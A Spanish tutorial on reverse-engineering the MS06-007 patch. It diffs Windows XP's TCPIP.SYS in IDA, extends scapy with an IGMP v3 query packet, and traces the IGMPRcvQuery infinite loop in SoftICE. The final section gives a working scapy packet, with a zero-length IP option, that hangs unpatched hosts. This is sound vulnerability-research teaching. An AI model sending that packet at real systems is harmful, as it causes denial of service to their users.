MS06-007 - Del parche al exploit

Introducción

El objetivo de este artículo es ilustrar el proceso para conseguir una prueba de concepto funcional o un exploit a partir del estudio del parche que soluciona la vulnerabilidad que se quiere explotar.

Para este ejemplo se ha elegido una vulnerabilidad de tipo “Denegación de Servicio” (DoS) pues se pretende dar más énfasis al estudio del parche y la vulnerabilidad que al desarrollo del exploit.

Herramientas empleadas

En el estudio de la MS06-007 se emplearon desensambladores (IDA Pro), Debuggers (SoftICE) y varios plugins para IDA:

  • Comparación de binarios: se ha empleado BinDiff, pero se pueden obtener los mismos resultados mediante plugins OpenSource como IDACompare.
  • Process Stalking: mediante el plugin de mismo nombre, nos permite crear gráficos interactivos de las funciones ejecutadas, incluyendo los valores de los registros en el momento de su ejecución.

Para la generación de los datagramas se empleó scapy por su sencillez de uso y su facilidad de ampliación; la versión actual de scapy no implementa el protocolo IGMP.

Estudio del Boletín

Si por algo se caracterizan los advisories de Microsoft es por lo parcos en información que siempre han sido y por lo atento que hay que estar para encontrar la poca valiosa que puedan contener.

Vamos a comenzar por el advisory que nos atañe a ver que encontramos. Lo primero es recopilar una serie de datos importantes:

  • Tipo de vulnerabilidad: Denegación de Servicio (DoS), ejecución de código, etc...
  • Sustituciones: Si el parche sustituye a uno anterior (como es el caso) y nos toca llevar a cabo un bindiffing, hay que tener en cuenta que las diferencias que se encuentren no tienen porque pertenecer a la vulnerabilidad que se está estudiando. Normalmente las sustituciones se llevan a cabo sobre vulnerabilidades antiguas y generalmente mejor documentadas.
  • Software afectado: no queremos perder el tiempo probando nuestro PoC contra un sistema inmune, no?
  • Detalles de la vulnerabilidad: en esta sección se acostumbra a encontrar la poca información técnica que facilite Microsoft. Procurad no desatender la parte del workarround, pues muchas veces se aprende más de la vulnerabilidad por la información que da Microsoft de como solucionarla que de los detalles técnicos.
  • Información del update: Lo más importante de esta sección es la tabla con los archivos que sustituye el parche, sobretodo en casos de bindiffing.
  • Agradecimientos: El más interesado en divulgar los detalles de la vulnerabilidad es siempre el que la descubre, si alguien va a darnos información útil seguro que aparece aquí!

En el caso de la MS06-007 parece que toda la información interesante la tendremos que buscar directamente en los binarios del parche (bueno, así es más divertido) porque lo único que nos dicen los de Redmond es:

  • Tipo DoS mediante un datagrama IGMP v3 de tipo Question
  • Se sustituye el binario TCPIP.SYS (mmm... un driver de sistema, esto va a ser interesante)
  • Se sustituye al parche de la MS05-019, hay que comprobar de que trataba esa a ver que deducimos.
  • El autor no se ha molestado en sacar ningún documento al respecto :-(

Antes de seguir vamos a ver de que trata la MS05-019 para intentar adelantar lo que nos vamos a encontrar en el BinDiffing. Para ello seguimos los mismos pasos que con el advisory anterior y descubrimos que se trata de:

  • Tipo DoS y code execution (eso implica que parchea varias vulnerabilidades)
  • No reemplaza a ninguna otra, a veces comienzas a tracear estas dependencias entre parches y acaba uno con tendencias suicidas! Los de M$ no hacen bien a la primera ni los parches :P
  • Parchea 5 vulnerabilidades; eso puede complicar la cosa:

Aquí os dejo que os leáis la información disponible para haceros una idea de que trata cada una de ellas.

  • Anotad a los autores del descubrimiento y si han publicado información adicional por si nos hace falta más adelante.

Packet Forgery

Ha llegado el momento de ponernos manos a la obra. Lo primero que debemos hacer es averiguar todo lo que podamos sobre el protocolo que provoca el DoS: IGMP. Para ello tenemos dos fuentes de información:

  • Como siempre que trabajamos con un protocolo de red el RFC debe de ser nuestra primera opción. Tras una rápida búsqueda localizamos los RFC que explican IGMP:
    • IGMP v0: RFC 966 y 988
    • IGMP v1: RFC 1054, 1112, 1122 y 1812
    • IGMP v2: RFC 2236 y 2113
    • IGMP v3: 3376
  • Si bien los RFC son una fuente de información indispensable, también es cierto que casi siempre ofrecen demasiada información, por lo que una rápida búsqueda en google nos proporciona otras fuentes más resumidas:

De la lectura de los RFC y lo resúmenes encontrados concluimos, a modo de resumen, que para IGMP v3 Question, que es el que nos interesa, la estructura de los datagramas es:

     0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Type = 0x11  | Max Resp Code |           Checksum            |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         Group Address                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   | Resv  |S| QRV |     QQIC      |     Number of Sources (N)     |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                       Source Address [1]                      |
   +-                                                             -+
   |                       Source Address [2]                      |
   +-                              .                              -+
   .                               .                               .
   .                               .                               .
   +-                                                             -+
   |                       Source Address [N]                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Y la finalidad del protocolo IGMP es:

“El protocolo de red IGMP se utiliza para intercambiar información acerca del estado de pertenencia entre enrutadores IP que admiten la multidifusión y miembros de grupos de multidifusión.”
Nota: Me doy cuenta que la información que estoy proporcionando es escasa pero no puedo extenderme en esta parte del estudio sin alargar demasiado el documento, por lo que os recomiendo leer más detalladamente la información de los enlaces antes de continuar; si bien no es necesario para comprender el resto del estudio.

Llegado este punto es momento de plantearnos como vamos a generar los datagramas IGMP, teniendo en cuenta que es posible que debamos incluir campos malformados y que debemos poder alterar su contenido sin limitaciones y de forma rápida.

Yo, personalmente, creo que para esta tarea no hay nada mejor que scapy, una herramienta de packet forgery escrita en python que nos va ha facilitar mucho esta tarea.

En el momento de escribir este post scapy no cuenta con IGMP entre los protocolos soportados, pero mediante este documento aprenderemos muy rápido como podemos ampliar los protocolos soportados y añadir IGMP.

Para ello sólo hemos de crear una clase (subclase de la clase Packet), añadirle el atributo name (con la descripción breve del protocolo) y añadir la lista de campos consistente en el nombre y el valor por defecto (a parte del tipo de campo: Byte, Short, Integer...). Veamos como quedaría una versión sencilla del protocolo IGMP v3 en el caso de un datagrama de tipo Question:

igmptypes = { 0x11 : "membership query",
              0x12 : "v1 membership report",
              0x13 : "DVMRP",
              0x14 : "PIM version 1",
              0x15 : "Cisco Trace Messages",
              0x16 : "v2 membership report",
              0x17 : "v2 leave group",
              0x1e : "Multicast Traceroute Response",
              0x1f : "Multicast Traceroute",
              0x22 : "membership report",
              0x30 : "Multicast Router Advertisement",
              0x31 : "Multicast Router Solicitation",
              0x32 : "Multicast Router Termination" }

class IGMP3Q(Packet):
    name = "IGMP v3 Query Message"
    fields_desc = [ByteEnumField("type", 0x11, igmptypes),
                  XByteField("max_resp_code",0),
                  XShortField("chksum", None),
                  IPField("group_addr", '0.0.0.0'),
                  XByteField("S_QRV", 0),
                  XByteField("QQIC", 0),
                  XShortField("num_sources", 0),
                  IPField("saddr", '0.0.0.0')]
                  #IPField("saddr2", '0.0.0.0'),
                  #IPField("saddr3", '0.0.0.0'),
                  #IPField("saddr4", '0.0.0.0')]

    def post_build(self, p):
        if self.chksum is None:
            ck = checksum(p)
            p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:]
        return p

Tras este pequeño ejercicio de programación, comprobamos que los datagramas que generamos con nuestro scapy modificado son correctos mediante el envío de algunos y su captura con Wireshark, uno de los mejores sniffers open source que se pueden encontrar.

Como se aprecia en la captura, los datagramas que generamos son perfectamente válidos, por lo que ya podemos continuar con la siguiente parte del estudio; en este caso la comparación de binarios.

BinDiffing

Ahora que ya podemos crear y enviar nuestros propios datagramas IGMP, ha llegado el momento de averiguar qué combinación de campos han de tener esos datagramas para provocar que nuestro Windows XP víctima deje de responder.

Para ello vamos a emplear un XP sin parchear como objetivo y vamos a copiar el archivo TCPIP.SYS en una carpeta específica para el estudio. De forma paralela vamos a descargar el parche de Microsoft para esta vulnerabilidad y vamos a extraer su contenido en otra carpeta.

Como ya se ha comentado con anterioridad, el objetivo de todo esto es desensamblar ambos binarios con IDA Pro y averiguar cuales son las funciones que se han modificado entre ambas versiones. Para ello podemos emplear dos plugins de IDA Pro:

  • BinDiff: Plugin comercial de Zynamics; es el que voy a emplear yo pero al ser de pago, lo más lógico es que optéis por la otra opción.
  • IDACompare: Plugin open source liberado por los chicos de iDefense junto con otras muchas herramientas útiles para trabajos de VR (Vulnerability Research) y estudio de Malware.

Una vez tenemos ambos binarios recopilados, pasamos a desensamblar el vulnerable con el IDA para poder comenzar con la comparación. Cuando acabe el proceso, lanzamos BinDiff o IDACompare para obtener el listado de funciones añadidas o modificadas entre ambas versiones. El proceso es algo diferente en función del plugin empleado, pero para ambos tenéis a vuestra disposición sendos tutoriales de empleo muy completos.

En el caso del BinDiff, una vez acabado el proceso obtenemos la siguiente información:

Por suerte comprobamos que sólo hay una función modificada entre las dos versiones del binario, en concreto las modificaciones se encuentran en la función “IGMPRcvQuery” (Interesante) y como se aprecia en la siguiente captura, lo que ha hecho Microsoft ha sido eliminar un bucle de comprobación (algo muy propicio a desembocar en situaciones de DoS).

Pero no nos adelantemos. Tras acabar el proceso de comparación averiguamos que ninguno de los dos plugins nos ofrece la capacidad de comparar de forma gráfica los resultados (BinDiff sí ofrece la posibilidad, pero muy limitada) por lo que vamos a recurrir a otro estupendo plugin para IDA que nos permite, entre otras muchas cosas, obtener gráficos interactivos de todas las funciones de un binario y luego trabajar con ellos a placer, este plugin es Process Stalker.

En otro momento hablaremos más en profundidad de este plugin, pero por ahora basta decir que si lo cargamos desde IDA, una vez acabado el análisis nos creará una carpeta con un archivo gle por cada función del binario. Para visualizarlos necesitaremos el visor gratuito OpenGLE y obtendremos el resultado que se muestra:

Yo me he tomado la molestia de comparar “a mano” los dos gráficos y de resaltar con colores los bloques de código modificados de forma que podamos ver en esta captura los detalles de las modificaciones llevadas a cabo para solucionar la vulnerabilidad.

Debbuging

A estas alturas del estudio ya disponemos de mucha información sobre el funcionamiento de esta vulnerabilidad, ya solamente nos falta ver el resultado de enviar diferentes datagramas “IGMP QUERY v3” sobre la función que hemos seleccionado como la culpable de la vulnerabilidad.

En circunstancias normales emplearíamos Olly debugger para examinar el código vulnerable en tiempo de ejecución, pero esta vez se trata de una vulnerabilidad alojada en un driver lo que nos va ha obligar a recurrir a SoftICE para poder trabajar a nivel de kernel.

Daremos por sentado que ya tenemos instalado y configurado SoftICE en la máquina de pruebas. Una vez abierto el SoftICE debemos averiguar en que rango de memoria se ha alojado el driver objetivo al arrancar el sistema, para ello usamos el comando DRIVER seguido del nombre del archivo “DRIVER TCPIP”:

La parte que nos interesa es la dirección base donde se aloja el driver para poderle sumar el offset de la función que buscamos y poderla localizar para poner un  breakpoint, o lo que necesitemos. Ya hemos visto como averiguar la dirección del driver, ahora falta averiguar el offset de la función.

Para extraer la información de la cabecera PE del archivo TCPIP.SYS vamos a emplear la librería de Python 'pefile'. Para ello descargamos e instalamos dicha librería y ejecutamos el intérprete de Python:

Python 2.4.2 (#1, Dec 8 2005, 19:58:51)
[GCC 3.3.5-20050130 (Gentoo 3.3.5.20050130-r1, ssp-3.3.5.20050130-1, pie-8.7.7. on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pefile
>>> pe = pefile.PE('tcpip.sys')
>>> file = open('header.txt', 'w+')
>>> info = pe.dump_info()
>>> for x in info:
… file.write(x)
… 
>>> file.close()
>>>

Si ahora miramos el contenido del archivo header.txt, comprobaremos que tenemos toda la información sobre las cabeceras del driver bien organizada:

----------DOS_HEADER----------
[IMAGE_DOS_HEADER]
...

----------NT_HEADERS----------
[IMAGE_NT_HEADERS]
Signature:                      4550

----------FILE_HEADER----------
[IMAGE_FILE_HEADER]
...

----------OPTIONAL_HEADER----------
[IMAGE_OPTIONAL_HEADER]
Magic:                          10B
MajorLinkerVersion:             7
MinorLinkerVersion:             A
SizeOfCode:                     49280
SizeOfInitializedData:          E780
SizeOfUninitializedData:        0
AddressOfEntryPoint:            51416
BaseOfCode:                     380
BaseOfData:                     3B500
ImageBase:                      10000
...

----------PE Sections----------
[IMAGE_SECTION_HEADER]
...

Mediante esta información ya podemos averiguar el offset de la función vulnerable para localizarla mediante SoftICE. Evidentemente hay maneras más fáciles de obtener la información de las cabeceras de un PE, pero me pareció instructivo hacerlo de esta forma.

La información que nos interesa de la cabecera PE del driver es la ImageBase, que en este caso tiene un valor de 10000, y se encuentra en la 'Optional Header'.

Restando este valor a la dirección virtual de la función vulnerable se obtiene su offset, y sumando el offset con la dirección base del driver obtenemos la dirección de la función en memoria:

Address = Driver_Addr + (Func_VA – ImageBase)

Una vez localizada la función vulnerable, colocamos un breakpoint de ejecución y mandamos un datagrama IGMP Question sencillo a la máquina vulnerable. En esta primera ocasión vamos a poner el breakpoint en esta función:

.text:00036EC6 loc_36EC6:
.text:00036EC6              test    byte ptr [edi+8], 0F0h
.text:00036ECA              jnz     loc_15964
.text:00036ED0              mov     esi, [ebp+arg_14]
.text:00036ED3              mov     eax, [ebp+arg_8]
.text:00036ED6              mov     ecx, [ebp+arg_C]
.text:00036ED9              lea     esi, ds:0Ch[esi*4]
.text:00036EE0              add     eax, 14h
.text:00036EE3              add     ecx, 0FFFFFFECh
.text:00036EE6              cmp     edx, esi
.text:00036EE8              jb      loc_15964

Y tras enviar el datagrama y comprobar los valores de los registros con el SoftICE vemos lo siguiente:

###[ IP ]###
    version= 4
    ihl= 0
    tos= 0x0
    len= 0
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= IGMP
    chksum= 0x0
    src= 172.16.96.1
    dst= 172.16.96.129
    options= ''
###[ IGMP v3 Query Message ]###
        type= membership query
        max_resp_code= 0x0
        chksum= 0x0
        group_addr= 0.0.0.0
        S_QRV= 0x0
        QQIC= 0x0
        num_sources= 0x1
        saddr= 172.16.92.1

Valores de los registros y conclusiones:

.text:00036EC6 loc_36EC6:
.text:00036EC6              test byte ptr [edi+8], 0F0h
.text:00036ECA              jnz loc_15964
.text:00036ED0              mov esi, [ebp+arg_14]
.text:00036ED3              mov eax, [ebp+arg_8]
.text:00036ED6              mov ecx, [ebp+arg_C]
.text:00036ED9              lea esi, ds:0Ch[esi*4]
.text:00036EE0              add eax, 14h
.text:00036EE3              add ecx, -14h
.text:00036EE6              cmp edx, esi
.text:00036EE8              jb loc_15964
.text:00036EEE
.text:00036EEE loc_36EEE:
.text:00036EEE              cmp ecx, 2                      ;Comprueba el tamaño de la
.text:00036EEE                                              cabecera IP > 20 (contiene
.text:00036EEE                                              IP options)
.text:00036EF1              jl loc_15964
.text:00036EF7              cmp byte ptr [eax], 94h         ;Comprueba que la IP
.text:00036EEE                                              option no es la 148 (0x94)
.text:00036EEE                                              que sólo afecta a routers
.text:00036EFA              jz short loc_36F06
.text:00036EFC              movzx edx, byte ptr [eax+1]
.text:00036F00              add eax, edx
.text:00036F02              sub ecx, edx
.text:00036F04              jmp short loc_36EEE

A raíz de esta última prueba vemos que para explotar esta vulnerabilidad se ha de enviar a la máquina vulnerable un datagrama IGMP v3 de tipo “Membership Query” que, entre las opciones IP no se encuentre la 148. De hecho, para explotar la vulnerabilidad, el campo “IP options” del datagrama ha de ser de los tipos “End of Options List” (valor 0) o “No Operation” (valor 1).

La función “IGMPRcvQuery” presenta un bucle que, bajo determinadas circunstancias, puede convertirse en infinito provocando la denegación de servicio.

En la parte final del código mostrado se interpretan las IP options del datagrama, pero en el caso que el campo de las IP options (segundo byte) sea 0 y el datagrama siga siendo correcto, el blucle no se cumple nunca y el sistema se bloquea.

Para que el campo tamaño pueda ser 0x00 sin que el datagrama sea incorrecto, el tipo de IP option ha de ser o 0x00 (EOOL) o 0x01 (NOP).

Exploit

Para poder explotar ésta vulnerabilidad mediante scapy sólo hemos de enviar un datagrama como el siguiente y el sistema windows objetivo dejará de responder:

>>> p=IP(dst="172.16.96.129", proto="IGMP", options="\x00")/IGMP3Q(num_sources=1, saddr=’172.16.96.1’)
>>> p.show()
###[ IP ]###
    version= 4
    ihl= 0
    tos= 0x0
    len= 0
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= IGMP
    chksum= 0x0
    src= 172.16.96.1
    dst= 172.16.96.129
    options= '\x00'
###[ IGMP v3 Query Message ]###
        type= membership query
        max_resp_code= 0x0
        chksum= 0x0
        group_addr= 0.0.0.0
        S_QRV= 0x0
        QQIC= 0x0
        num_sources= 0x0
        saddr= 0.0.0.0

>>> str(p)
'F\x00\x00(\x00\x01\x00\x00@\x00\xaa\x98\xc0\xa8\x02\x03\xac\x10`\x81\x00\x00\x00\x00\x11\x00\xe2\xec\x00\x00\x00\x00\x00\x00\x00\x01\xac\x10`\x01'

>>> hexdump(p)
0000    46 00 00 28 00 01 00 00 40 00 AA 98 C0 A8 02 03    F..(....@.......
0010    AC 10 60 81 00 00 00 00 11 00 E2 EC 00 00 00 00    ..`.............
0020    00 00 00 01 AC 10 60 01

El valor del campo 'options' también se puede sustituir por '\x01' y el resultado será el mismo.

Para poder probar un sistema vulnerable desde un Windows existe un exploit en http://www.milw0rm.com/exploits/1599 que hace exactamente lo mismo que hemos visto.


Comentarios

Si te interesa el tema y quieres comentar algo o aclarar alguna duda, puedes hacerlo vía twitter.